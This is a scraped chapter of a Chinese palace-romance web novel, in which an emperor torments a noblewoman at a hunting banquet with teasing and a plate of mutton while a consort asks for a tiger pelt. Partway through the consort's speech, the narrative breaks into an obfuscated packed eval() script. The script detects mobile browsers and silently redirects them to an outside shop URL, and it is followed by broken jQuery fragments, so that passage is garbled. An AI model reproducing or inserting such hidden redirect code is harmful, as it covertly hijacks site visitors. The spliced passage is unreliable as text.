99. 琼林玉宴患难交

作品:《总有狗皇帝想害我

    猎场庆功宴设于午时。草甸开阔,篝火堆叠,彩旗猎猎。百官与勋贵子弟分席而坐,觥筹交错间笑语喧哗。百姓亦被允准入围观看,孩童追逐嬉闹,妇人捧食相送,一派与民同乐之象。


    崔明禾姗姗来迟,众人目光齐刷刷落在她身上,窃语四起。


    “崔大姑娘竟真来了。”


    “昨夜贵妃摔伤,今日她反倒盛装出席,倒是好手段。”


    “嘘——你没见陛下对她如何?谁敢轻慢?”


    “听说陛下昨夜亲赴她帐中……”


    她听而不闻,径直走向女眷席位。杨含章见她到来,笑意温婉道:“崔姑娘来了,快请坐。”


    崔明禾颔首,不动声色地落座。谢芷亦在,正低头捻着手中香草,抬眸冲她一笑。她有些莫名地别开眼。


    席间丝竹悦耳,舞姬旋裙,长袖善舞。然崔明禾心不在焉,只低头拨弄着盏中残茶。


    “崔姑娘。”


    崔明禾一回头,却见王喜无声无息地挪至她身后,冲她拱手行礼。


    她不动声色:“王总管。”


    “陛下传话,让您过去同坐。”


    崔明禾瞥他一眼,正欲开口,王喜又道:“陛下说,这是规矩。”


    规矩。她咬重这二字:“什么规矩?”


    “陛下说,崔姑娘昨日骑马蒙陛下相救,此后陛下与崔姑娘便是‘患难之交’,君臣之谊也好,私谊也好,于情于理,崔姑娘都应与陛下同桌用膳。陛下还说,崔姑娘若是再问,便叫姑娘自个儿问问他,这是什么规矩。”


    怎就成了这劳什子的“患难之交”?!崔明禾恨得牙痒痒。


    可那老阉人面上笑意不变,躬身立着,一副任打任骂的恭顺样。可话里话外可全是威胁。


    去,还是不去,都由不得她。


    这便是规矩。萧承懿的规矩。


    四周投来的目光愈发纷杂,好奇,嫉妒,鄙夷,亦有看好戏的幸灾乐祸。杨含章执团扇遮去唇边一抹深意,温声道:“既是陛下传召,崔姑娘快去罢,莫让陛下久等了。”


    她咬碎了银牙,还是无奈起身。


    御座设于高台之上,明黄伞盖如云,萧承懿姿态闲散,眉眼疏朗,一身俊美风流。见她走近,他唇角微勾,抬手示意身侧内侍添设坐席。


    待她落座,他才懒懒开口:“朕还以为,要三请四催,才能将崔大姑娘这尊大佛请过来。”


    崔明禾端起面前酒盏,皮笑肉不笑道:“陛下说笑了,奴婢怎敢劳陛下圣驾。”


    萧承懿目光淡淡扫过她手中盏,却是一言不发,只执壶替自己斟了一盏。酒液碰撞杯壁发出一声细响。崔明禾的目光随之落到他手上,只见指骨修长,如玉质雕琢。


    她的思绪忽然又有些飘忽,想起昨夜,他就是用这双手抱了她,揽着她共度风雨。


    昨夜。


    她如被当头棒喝,猛然惊醒,匆忙垂眸避开那双手。


    “崔大姑娘。”萧承懿突然开口。


    “啊?”崔明禾抬头,与他目光撞了个正着。


    “崔大姑娘昨夜分明又哭又闹撒了好一场泼,朕这般宽宏大量不与你计较,怎的今日就又冷若冰霜,拒人于千里之外了?”


    “噗——”


    邻席有位年轻世家公子一口酒险些喷出来,被身旁长辈狠狠一眼瞪回去,憋得满脸通红。


    崔明禾脸上一热,心口的悸动霎时化作恼怒,腾腾地窜了上来。


    这混账!昨夜来便来了,他今日又提这些做什么?!如此光天化日、众目睽睽之下,他怎能没脸没皮将那等私密之事说得如此轻描淡写!


    他定是故意的!看她笑话,嘲她失态,如今更是要将她的遮羞布扯下来,让她当众出丑。


    她猛的侧头瞪他。


    他却心情颇好地执起银箸,甚至亲手替她布菜。一块洒了姜丝、淋了酱汁的羊肉被放进她面前白瓷碟中。


    “来,尝尝。朕特意为你留的。”


    崔明禾拿眼一瞥,胃中便是一阵翻腾。她最厌羊肉膻气,自幼半点不沾。萧承懿旧时与她相处数载,不可能不知晓。


    他是故意的。


    “怎么不吃?”他关切地明知故问,“可是不合胃口?这西域进贡的羔羊肉质最是鲜嫩,毫无膻味。你尝尝便知。”


    他甚至又夹了一筷,将她面前小碟堆得冒了尖。


    “多吃些,昨夜受了惊,正好补补。”


    崔明禾一忍再忍,如芒在背。


    “不动筷?怎的,是朕夹得不够虔诚?”


    崔明禾忍无可忍,哐当一声霍然站起。萧承懿却摆出一副看好戏的神情:“崔大姑娘这是怎么了?”


    众人目光亦落在她身上,神色各异。


    她立在原地,进也不是,退也不是,只觉自己像当众被剥光了衣裳任人观赏评判。而始作俑者正闲闲倚在御座上,好整以暇欣赏着她的窘态。


    “崔姑娘若是不愿,朕也不好勉强。”萧承懿惋惜道,“只是这君前失仪之罪……朕若不罚,怕是难以服众。不如,便罚你将这碟子羊肉都吃干净了,如何?”


    崔明禾面色铁青,恨得牙痒。


    她若不从,便是抗旨,若从了,便要当众受这屈辱。这笔账,她倒是怎么都算不过萧承懿!


    心中憋屈,到底还是强压下心头翻涌的气血,缓缓坐了回去。她忿忿夹起一块羊肉送至唇边,尚未入口,下一秒又立刻皱起眉头,重新撂回碟中。


    崔明禾面无表情。一下,银箸尖狠狠将肥腴羊肉戳出一眼,仿佛那是萧承懿的脸。


    抽出,又一下。


    未几,一碟肉被她戳得千疮百孔。萧承懿瞧了,眼底笑意更深。也不催促,只自顾自浅酌。


    鼓乐渐起。卢采容起身敬酒,一身桃红宫装艳丽夺目,脸上薄施脂粉,眼波流转。她端着金杯走到御案前,盈盈一拜,娇声道:“嫔妾敬陛下一杯,贺陛下旗开得胜,猎得猛虎,扬我国威!”


    萧承懿瞥她一眼,嗯了一声,却未动。


    那厢卢采容敬完酒未急着退下,反而顺势依偎过他怀中。娇嗲婉转,眼神媚意横流:“陛下神威,连山君都成了您的囊中之物。嫔妾听闻那虎皮毛色纯白,无一根杂毛,当真是世间罕见。不知……陛下可否将那虎皮赏了嫔妾,也


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764647|180130||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好让嫔妾日日夜夜都能感念陛下的天威与恩德。”


    萧承懿由着她挨着,目光却不经意扫过一旁崔明禾。对方正低头研究自己指甲上的月牙白,对眼前这一幕视若无睹。


    “哦?”他收回目光,只执杯浅饮一口,眸光淡扫她一眼,似笑非笑,“你要虎皮?”


    卢采容以为他意动,心中一喜,愈发大胆地挽他手臂,口中撒娇道:“陛下就赏了嫔妾罢,嫔妾一定日日夜夜都记着陛下的好。”


    众人哄笑,有人摇头,有人窃喜看戏。


    崔明禾心中冷笑,卢氏倒是个会抓机会的,前有周月窈折戟,后有德妃稳坐钓鱼台。她这般急吼吼地冒头,也不怕成了那出头的椽子。


    “虎性凶猛,其皮亦非寻常女子能压得住。”他拍了拍卢采容手背,“爱妃身子娇弱,朕怕你受不住那煞气。”


    卢采容面色一僵,随即又强笑道:“嫔妾不怕。有陛下在,什么煞气也近不得嫔妾的身。”


    萧承懿不置可否,漫不经心转着掌中金杯。


    卢采容见他久不答话,心下焦急,柔声软语道:“陛下……”


    “爱妃既想要,朕若不给,倒显得小气了。”他终于开了金口,听不出是喜是怒。


    卢采容大喜过望,正欲谢恩,却听他又慢悠悠唤了一声。


    “崔大姑娘。”


    崔明禾冷不防被他点名,怔了一瞬才反应过来,茫然抬头。


    “此事事关重大,朕一人也拿不定主意。崔大姑娘见多识广,不知对此有何高见?”


    ……


    这混账又在作甚?


    她既非他妃子,也非他幕僚。不过一块虎皮,他爱赏谁便赏给谁,何苦兜兜转转绕如此大一圈拿她说事。崔明禾暗道萧承懿虚伪,口上却道:“奴婢一介女流,哪里懂这些。陛下若是有疑虑,不如问问这席上的诸位大人。”


    她将问题又推回去。


    “朕问的是你。”


    崔明禾腹诽:难不成她要说不给,他便真能不给?


    她道萧承懿是个没骨气的。


    “虎为百兽之王,其皮自是非同寻常。卢才人……”


    她余光扫卢采容一眼,看她一脸期待,福至心灵,忽地想起一桩旧事,便改了主意。


    “回陛下的话。”她站起身,不卑不亢地福了一福,“奴婢曾于史书中读到一则逸闻。前朝文帝亦曾于围猎时猎得一头猛虎,群臣皆贺,有善谀者便提议,剥下虎皮制成御毯,以彰文帝天威。”


    她瞟他一眼,见人正饶有兴致听着,眼底含笑。


    “然文帝却道,‘天子主四海,岂能以一兽之皮为荣?朕猎虎,乃为除民害,非为炫己勇。此虎既为山中之王,其皮亦当归于山林,或献于太庙,以敬告天地神明,祈我大齐风调雨顺,国泰民安。’遂下令将虎皮送往太庙,其骸骨则就地掩埋。”


    一番“除民害”、“敬天地”的大义抬出来,她专挑高帽往人头上带。


    卢采容一张俏脸顿时青白交加。萧承懿定定将人看了半晌,眼中光芒晦暗不明。良久,他忽然朗声大笑。


    “好!说得好!”